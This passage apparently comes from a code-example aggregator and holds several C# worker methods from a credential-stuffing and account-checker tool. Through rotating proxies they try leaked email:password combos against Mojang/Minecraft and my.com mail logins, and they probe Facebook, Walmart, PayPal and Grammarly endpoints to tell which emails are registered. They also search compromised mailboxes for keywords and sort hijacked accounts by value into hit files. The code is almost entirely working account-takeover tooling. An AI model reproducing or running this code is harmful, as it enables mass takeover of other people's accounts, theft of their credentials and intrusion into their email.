                    string text2 = req.Post("https://authserver.mojang.com/authenticate", "{\"password\":\"" + credentials[1] + "\",\"requestUser\":true,\"username\":\"" + credentials[0] + "\"}", "application/json").ToString();
                    if (text2.Contains("accessToken") || text2.Contains("user") || text2.Contains("id") || text2.Contains("username") || text2.Contains("clientToken"))
                    {
                        Variables.GettingCaptures++;

                        List <string> Captures = new List <string>();

                        var accesstoken = Functions.JSON(text2, "accessToken").FirstOrDefault();
                        req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                        req.AddHeader("authorization", $"Bearer {accesstoken}");
                        string getusername = req.Get("https://api.minecraftservices.com/minecraft/profile").ToString();
                        var    username    = Functions.JSON(getusername, "name").FirstOrDefault();
                        if (Variables.OGNAMES.Any((string og) => og == username.ToLower()))
                        {
                            lock (Variables.WriteLock)
                            {
                                File.AppendAllText(Variables.results + "OG_Names.txt", combo + " | Username: "******"Username: "******"User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                        string gettoken = req.Get("https://account.mojang.com/login").ToString();
                        var    token    = Functions.LR(gettoken, "name=\"authenticityToken\" value=\"", "\"/>").FirstOrDefault();
                        req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                        string getType = req.Post("https://account.mojang.com/login", $"authenticityToken={token}&username={credentials[0]}&password={credentials[1]}", "application/x-www-form-urlencoded").ToString();
                        if (getType.Contains("title=\"Log out\""))
                        {
RETRY:
                            try{
                                string type = null;

                                req.UserAgent = "MyCom/12436 CFNetwork/758.2.8 Darwin/15.0.0";
                                string strResponse = req.Get(new Uri($"https://aj-https.my.com/cgi-bin/auth?timezone=GMT%2B2&reqmode=fg&ajax_call=1&udid=16cbef29939532331560e4eafea6b95790a743e9&device_type=Tablet&mp=iOS¤t=MyCom&mmp=mail&os=iOS&md5_signature=6ae1accb78a8b268728443cba650708e&os_version=9.2&model=iPad%202%3B%28WiFi%29&simple=1&Login={credentials[0]}&ver=4.2.0.12436&DeviceID=D3E34155-21B4-49C6-ABCD-FD48BB02560D&country=GB&language=fr_FR&LoginType=Direct&Lang=en_FR&Password={credentials[1]}&device_vendor=Apple&mob_json=1&DeviceInfo=%7B%22Timezone%22%3A%22GMT%2B2%22%2C%22OS%22%3A%22iOS%209.2%22%2C?%22AppVersion%22%3A%224.2.0.12436%22%2C%22DeviceName%22%3A%22iPad%22%2C%22Device?%22%3A%22Apple%20iPad%202%3B%28WiFi%29%22%7D&device_name=iPad&")).ToString();
                                if (strResponse.Contains("Ok=1"))
                                {
                                    type = "MFA";
                                    Variables.MFA++;
                                }
                                else
                                {
                                    if (getType.Contains("Your account has not been secured"))
                                    {
                                        type = "SFA";
                                        Variables.SFA++;
                                    }
                                    else
                                    {
                                        type = "NFA";
                                        Variables.NFA++;
                                    }
                                }
                                lock (Variables.WriteLock)  {
                                    File.AppendAllText(Variables.results + $"{type}.txt", combo + Environment.NewLine);
                                }
                                Captures.Add("Type: " + type);
                                //Cape Captures
                                req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36");
                                var  res1        = req.Get("https://namemc.com/profile/" + username);
                                bool hasOptifine = res1.ToString().Contains("optifine.net");
                                bool hasMinecon  = res1.ToString().Contains("MineCon");
                                if (hasOptifine)
                                {
                                    Variables.Optifine++;
                                    lock (Variables.WriteLock) {
                                        File.AppendAllText(Variables.Capes_Folder + $"Optifine.txt", combo + Environment.NewLine);
                                    }
                                }
                                if (hasMinecon)
                                {
                                    Variables.Minecon++;
                                    lock (Variables.WriteLock) {
                                        File.AppendAllText(Variables.Capes_Folder + $"Minecon.txt", combo + Environment.NewLine);
                                    }
                                }
                                Captures.Add("Optifine: " + hasOptifine);
                                Captures.Add("Minecoin: " + hasMinecon);
                                //Hypixel Lvl/Rank
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                                string ee = req.Get("https://plancke.io/hypixel/player/stats/" + username).ToString();

                                var Hypixel_Lvl  = Functions.LR(ee, "Level:</b> ", "<br").FirstOrDefault();
                                var Hypixel_Rank = Functions.LR(ee, "content=\"[", "]").FirstOrDefault();


                                if (Hypixel_Rank != null)
                                {
                                    Variables.Hypixel_Ranked++;
                                    Captures.Add($"Hypixel Rank: {Hypixel_Rank}");
                                    lock (Variables.WriteLock) {
                                        File.AppendAllText(Variables.Hypixel_Ranked_folder + $"{Hypixel_Rank}.txt", combo + Environment.NewLine);
                                    }
                                }
                                if (Hypixel_Lvl != null)
                                {
                                    Variables.Hypixel_Lvl++;
                                    Captures.Add($"Hypixel Lvl: {Hypixel_Lvl}");
                                    lock (Variables.WriteLock) {
                                        File.AppendAllText(Variables.Hypixel_Leveled_Folder + $"{Hypixel_Lvl}.txt", combo + Environment.NewLine);
                                    }
                                }
                                //velt pvp
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                                string heel = req.Get("https://www.veltpvp.com/u/" + username).ToString();

                                var VeltColour = Functions.LR(heel, "<h2 style=\"color: #", "\"").FirstOrDefault();
                                var VeltRank   = Functions.LR(heel, $"<h2 style=\"color: #{VeltColour}\">", "</h2>").FirstOrDefault();

                                if (VeltRank != null)
                                {
                                    Variables.veltpvp++;
                                    Captures.Add("Veltpvp Rank: " + VeltRank);
                                    lock (Variables.WriteLock){
                                        File.AppendAllText(Variables.VeltPvp_Folder + $"{VeltRank}.txt", combo + Environment.NewLine);
                                    }
                                }
                                //hive
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                                string gee = req.Get($"http://api.hivemc.com/v1/player/" + username).ToString();

                                var HiveRank = Functions.JSON(gee, "enum").FirstOrDefault();

                                if (HiveRank != null)
                                {
                                    Variables.Hive++;
                                    Captures.Add("Hivemc Rank: " + HiveRank);
                                    lock (Variables.WriteLock) {
                                        File.AppendAllText(Variables.Hive_folder + $"{HiveRank}.txt", combo + Environment.NewLine);
                                    }
                                }
                                //skyblock
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                                string hel = req.Get("https://sky.lea.moe/stats/" + username).ToString();

                                var skyblockcoins = Functions.LR(hel, "Purse Balance: </span><span class='stat-value'>", "Coins</span><br><").FirstOrDefault();

                                if (skyblockcoins != "0" && skyblockcoins != null)
                                {
                                    Variables.Skyblock++;
                                    Captures.Add("Skyblock Coins: " + skyblockcoins);
                                    lock (Variables.WriteLock){
                                        File.AppendAllText(Variables.Skyblock_Coins_Folder + $"{skyblockcoins}.txt", combo + Environment.NewLine);
                                    }
                                }
                                string output = $"{combo} | " + string.Join(" | ", Captures);

                                Variables.GettingCaptures--;
                                Variables.Valid++;
                                Variables.Checked++;
                                Variables.cps++;
                                lock (Variables.WriteLock)
                                {
                                    Variables.remove(combo);

                                    if (Config.kekr_UI == "LOG")
                                    {
                                        Console.WriteLine($"[+] {output}", Color.Green);
                                    }
                                    File.AppendAllText(Variables.results + "Total_hits.txt", output + Environment.NewLine);
                                }
                            }
                            catch
                            {
                                Variables.Errors++;
                                goto RETRY;
                            }
                        }
                        else if (getType.Contains("<strong>Error!</strong> Unknown e-mail address or password"))
                        {
                            Variables.Invalid++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                            }
                        }
                        else
                        {
                            Variables.combos.Enqueue(combo);
                            Variables.proxyIndex++;
                            Variables.Errors++;
                        }
                    }
                    else if (text2.Contains("{\"error\":\"ForbiddenOperationException\",\"errorMessage\":\"Invalid credentials. Invalid username or password.\"}") || text2.Contains("{\"error\":\"JsonParseException\",\"errorMessage\":\"Unexpected character "))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 22
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    req.AddHeader("cookie", "sb=htdXYLp8jWSsBb0-zg6sagLp; fr=1nuiFEU9nwEXkIAGW..BgV9eG.BS.GBc.0.0.BgYiVQ.AWUgr1-0UOs; datr=UCViYFqrAWphPUQzeyIwNhp4; wd=539x619; dpr=1.5");
                    req.AddHeader("origin", "https://www.facebook.com");
                    req.AddHeader("referer", "https://www.facebook.com/login/identify/?ctx=recover&ars=facebook_login&from_login_screen=0");
                    req.AddHeader("sec-ch-ua", "\"Google Chrome\";v=\"89\", \"Chromium\";v=\"89\", \";Not A Brand\";v=\"99\"");
                    req.AddHeader("sec-ch-ua-mobile", "?0");
                    req.AddHeader("sec-fetch-dest", "empty");
                    req.AddHeader("sec-fetch-mode", "cors");
                    req.AddHeader("sec-fetch-site", "same-origin");
                    req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36");
                    req.AddHeader("x-fb-lsd", "AVoWmENFejc");

                    var    res0  = req.Post("https://www.facebook.com/ajax/login/help/identify.php?ctx=recover", "jazoest=2981&lsd=AVoWmENFejc&email=" + credentials[0] + "&did_submit=1&__user=0&__a=1&__dyn=7xe6Fo4OQ1PyWwHBWo5O12wAxu13wqovzEdEc8uxa0z8S2S4o720SUhwem0nCq1ewcG0KEswaq0woy1Qw5MKdwl8G0DE7e2l0FG7o4y0Mo5W3S1lwlEbE28xe3C0D85a2W2K0zE5W0vS&__csr=&__req=6&__beoa=0&__pc=PHASED%3ADEFAULT&__bhv=2&dpr=1.5&__ccg=GOOD&__rev=1003530268&__s=ksxvdr%3Anjowmp%3A4rbqpl&__hsi=6945154635513826993-0&__comet_req=0&__spin_r=1003530268&__spin_b=trunk&__spin_t=1617044824", "application/x-www-form-urlencoded");
                    string text0 = res0.ToString();

                    if (text0.Contains("recover\\\\\\/initiate"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text0.Contains("No Search Results"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 23
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                    req.AddHeader("accept", "*/*");
                    req.AddHeader("accept-encoding", "gzip, deflate, br");
                    req.AddHeader("accept-language", "en-US,en;q=0.9");
                    req.AddHeader("origin", "https://www.walmart.com");
                    req.AddHeader("referer", "https://www.walmart.com/account/forgotpassword?tid=0&returnUrl=%2F");
                    req.AddHeader("sec-ch-ua", "\"Google Chrome\";v=\"89\", \"Chromium\";v=\"89\", \";Not A Brand\";v=\"99\"");
                    req.AddHeader("sec-ch-ua-mobile", "?0");
                    req.AddHeader("sec-fetch-dest", "empty");
                    req.AddHeader("sec-fetch-mode", "cors");
                    req.AddHeader("sec-fetch-site", "same-origin");
                    req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36");

                    var    res0  = req.Post("https://www.walmart.com/account/electrode/api/getresetoptions", "{\"email\":\"" + credentials[0] + "\"}", "application/json");
                    string text0 = res0.ToString();

                    if (text0.Contains("status\":\"OK\",\"payload"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text0.Contains("This email isn't associated with an account"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 24
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var request = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    request.Proxy.ConnectTimeout            = proxyTimeout;
                    request.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(request.SslCertificateValidatorCallback,
                                                                                                                    new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36";
                    string text2 = request.Get(string.Concat(new string[]
                    {
                        "https://aj-https.my.com/cgi-bin/auth?timezone=GMT%2B2&reqmode=fg&ajax_call=1&udid=16cbef29939532331560e4eafea6b95790a743e9&device_type=Tablet&mp=iOS¤t=MyCom&mmp=mail&os=iOS&md5_signature=6ae1accb78a8b268728443cba650708e&os_version=9.2&model=iPad%202%3B%28WiFi%29&simple=1&Login="******"&ver=4.2.0.12436&DeviceID=D3E34155-21B4-49C6-ABCD-FD48BB02560D&country=GB&language=fr_FR&LoginType=Direct&Lang=en_FR&Password="******"&device_vendor=Apple&mob_json=1&DeviceInfo=%7B%22Timezone%22%3A%22GMT%2B2%22%2C%22OS%22%3A%22iOS%209.2%22%2C?%22AppVersion%22%3A%224.2.0.12436%22%2C%22DeviceName%22%3A%22iPad%22%2C%22Device?%22%3A%22Apple%20iPad%202%3B%28WiFi%29%22%7D&device_name=iPad&"
                    }), null).ToString();


                    if (text2.Contains("Ok=1") || text2.Contains("Ok=1"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Hits.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (text2.Contains("Ok=0") || text2.Contains("Ok= 0"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 25
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));


                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36");
                    req.AddHeader("Pragma", "no-cache");
                    req.AddHeader("Accept", "*/*");

                    string pre_req = req.Get("https://www.paypal.com/mu/welcome/signup/").ToString();

                    var tok1 = Functions.LR(pre_req, "data-csrf-token=\"", "\"").FirstOrDefault();

                    req.AddHeader("Host", "www.paypal.com");
                    req.AddHeader("Connection", "keep-alive");
                    req.AddHeader("Accept", "application/json");
                    req.AddHeader("DNT", "1");
                    req.AddHeader("x-csrf-token", tok1);
                    req.AddHeader("X-Requested-With", "XMLHttpRequest");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36");
                    req.AddHeader("Content-Type", "application/json;charset=UTF-8");
                    req.AddHeader("Origin", "https://www.paypal.com");
                    req.AddHeader("Sec-Fetch-Site", "same-origin");
                    req.AddHeader("Sec-Fetch-Mode", "cors");
                    req.AddHeader("Sec-Fetch-Dest", "empty");
                    req.AddHeader("Referer", "https://www.paypal.com/mu/welcome/signup/");
                    req.AddHeader("Accept-Encoding", "gzip, deflate, br");
                    req.AddHeader("Accept-Language", "en-US,en;q=0.9");

                    string check = req.Post("https://www.paypal.com/welcome/rest/v1/emailExists", "{\"email\":\"" + credentials[0] + "\"}", "application/json;charset=UTF-8").ToString();

                    if (check.Contains("\"emailExists\":true"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (check.Contains("\"emailExists\":false"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 26
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));

                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                    string check = req.Get("https://www.grammarly.com/").ToString();
                    // Console.WriteLine(check);
                    var CS = req.Cookies.GetCookies("https://www.grammarly.com/")["csrf-token"].Value;
                    var CI = req.Cookies.GetCookies("https://www.grammarly.com/")["gnar_containerId"].Value;

                    req.AddHeader("origin", "https://www.grammarly.com");
                    req.AddHeader("referer", "https://www.grammarly.com/signin?step=signinForm");
                    req.AddHeader("x-container-id", CI);
                    req.AddHeader("x-csrf-token", CS);

                    string ok = req.Post("https://auth.grammarly.com/v3/auth/info", "{\"email\":\"" + credentials[0] + "\"}", "application/json").ToString();
                    // Console.WriteLine(ok);
                    if (ok.Contains("accountExists\":false"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            File.AppendAllText(Variables.results + "Not Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else if (ok.Contains("accountExists\":true"))
                    {
                        Variables.Valid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                            if (Config.kekr_UI == "LOG")
                            {
                                Console.WriteLine($"[+] {combo}", Color.Green);
                            }
                            File.AppendAllText(Variables.results + "Registered.txt", combo + Environment.NewLine);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 27
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
                var credentials = combo.Split(new char[] { ':', ';', '|' }, StringSplitOptions.RemoveEmptyEntries);
                using (var req = new HttpRequest()
                {
                    KeepAlive = true,
                    IgnoreProtocolErrors = true,
                    Proxy = ProxyClient.Parse(proxyType, proxy)
                })
                {
                    req.Proxy.ConnectTimeout            = proxyTimeout;
                    req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));



                    var site = WebUtility.UrlDecode("https://aj-https.my.com/cgi-bin/auth?timezone=GMT+2&reqmode=fg&ajax_call=1&udid=16cbef29939532331560e4eafea6b95790a743e9&device_type=Tablet&mp=iOS¤t=MyCom&mmp=mail&os=iOS&md5_signature=6ae1accb78a8b268728443cba650708e&os_version=9.2&model=iPad 2;(WiFi)&simple=1&Login="******"&ver=4.2.0.12436&DeviceID=D3E34155-21B4-49C6-ABCD-FD48BB02560D&country=GB&language=fr_FR&LoginType=Direct&Lang=fr_FR&Password="******"&device_vendor=Apple&mob_json=1&DeviceInfo={\"Timezone\":\"GMT+2\",\"OS\":\"iOS 9.2\",?\"AppVersion\":\"4.2.0.12436\",\"DeviceName\":\"iPad\",\"Device?\":\"Apple iPad 2;(WiFi)\"}&device_name=iPad&");
                    req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                    req.AddHeader("Pragma", "no-cache");
                    req.AddHeader("Accept", "*/*");

                    var    res0  = req.Get("" + site + "");
                    string text0 = res0.ToString();

                    if (text0.Contains("Ok=1"))
                    {
                        var site2 = WebUtility.UrlDecode("https://aj-https.my.com/api/v1/tokens?email=" + credentials[0] + "&mp=android&mmp=mail&DeviceID=b915df62e3c1dee109e71b47c28f156b&client=mobile&udid=1b1f390dc8898c3caff164a55f5bc91619ab15d5fa8d9287dc335bfd9e09abd6&instanceid=cRYT1qjfiKE&playservices=202614037&connectid=9d4527fca2ee1717352c7dfd339a86a8&os=Android&os_version=10&ver=com.my.mail12.8.0.30440&appbuild=30440&vendor=Xiaomi&model=MI 8 Lite&device_type=Smartphone&country=BR&language=pt_BR&timezone=GMT-03:00&device_name=Xiaomi MI 8 Lite&idfa=142b1b43-88ee-4a6e-9b84-0472623d63b5&appsflyerid=1596761345723-8129751771213333860&current=google&first=google&md5_signature=feff7cbcf5bd717fbf3dedc617a0adbf");
                        req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                        req.AddHeader("Pragma", "no-cache");
                        req.AddHeader("Accept", "*/*");

                        var    res1  = req.Get("" + site2 + "");
                        string text1 = res1.ToString();

                        var token = Functions.JSON(text1, "token").FirstOrDefault();

                        try
                        {
                            foreach (string keyword in File.ReadAllLines("Files//Keywords.txt"))
                            {
                                var site3 = WebUtility.UrlDecode("https://aj-https.my.com/api/v1/messages/search?htmlencoded=false&limit=1&offset=0&query=" + keyword + "&snippet_limit=277&with_threads=true&email=" + credentials[0] + "&mp=android&mmp=mail&DeviceID=b915df62e3c1dee109e71b47c28f156b&client=mobile&udid=1b1f390dc8898c3caff164a55f5bc91619ab15d5fa8d9287dc335bfd9e09abd6&instanceid=cRYT1qjfiKE&playservices=202614037&connectid=9d4527fca2ee1717352c7dfd339a86a8&os=Android&os_version=10&ver=com.my.mail12.8.0.30440&appbuild=30440&vendor=Xiaomi&model=MI 8 Lite&device_type=Smartphone&country=BR&language=pt_BR&timezone=GMT-03:00&device_name=Xiaomi MI 8 Lite&idfa=142b1b43-88ee-4a6e-9b84-0472623d63b5&device_year=2014&connection_class=UNKNOWN&current=google&first=google&behaviorName=default+stickers&appsflyerid=1596761345723-8129751771213333860&reqmode=fg&ExperimentID=Experiment_simple_signin&isExperiment=false&token=" + token + "&md5_signature=efb24052d8bed655df0e291e3c5af6dc");
                                req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                                req.AddHeader("Pragma", "no-cache");
                                req.AddHeader("Accept", "*/*");
                                var    res2  = req.Get("" + site3 + "");
                                string text2 = res2.ToString();
                                var    count = Functions.JSON(text2, "count").FirstOrDefault();
                                if (count == null || count == "0")
                                {
                                    Variables.Custom++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                                    }
                                }
                                else
                                {
                                    Variables.Valid++;
                                    Variables.Checked++;
                                    Variables.cps++;
                                    lock (Variables.WriteLock)
                                    {
                                        Variables.remove(combo);
                                        if (Config.kekr_UI == "LOG")
                                        {
                                            Console.WriteLine($"[+] " + combo + " | Keyword: " + keyword + " | Results: " + count, Color.Green);
                                        }
                                        File.AppendAllText(Variables.results + $"{keyword}.txt", combo + " | Keyword: " + keyword + " | Results: " + count + Environment.NewLine);
                                    }
                                }
                            }
                        }
                        catch
                        {
                            Variables.Custom++;
                            Variables.Checked++;
                            Variables.cps++;
                            lock (Variables.WriteLock)
                            {
                                Variables.remove(combo);
                                File.AppendAllText(Variables.results + "Customs.txt", combo + Environment.NewLine);
                            }
                        }
                    }
                    else if (text0.Contains("Ok=0"))
                    {
                        Variables.Invalid++;
                        Variables.Checked++;
                        Variables.cps++;
                        lock (Variables.WriteLock)
                        {
                            Variables.remove(combo);
                        }
                    }
                    else
                    {
                        Variables.combos.Enqueue(combo);
                        Variables.proxyIndex++;
                        Variables.Errors++;
                    }
                }
            }
            catch
            {
                Variables.combos.Enqueue(combo);
                Variables.proxyIndex++;
                Variables.Errors++;
            }
        }
Esempio n. 28
0
        static void Worker(string combo)
        {
            try
            {
                Variables.proxyIndex = Variables.proxyIndex >= Variables.proxies.Length ? 0 : Variables.proxyIndex;
                var proxy       = Variables.proxies[Variables.proxyIndex];
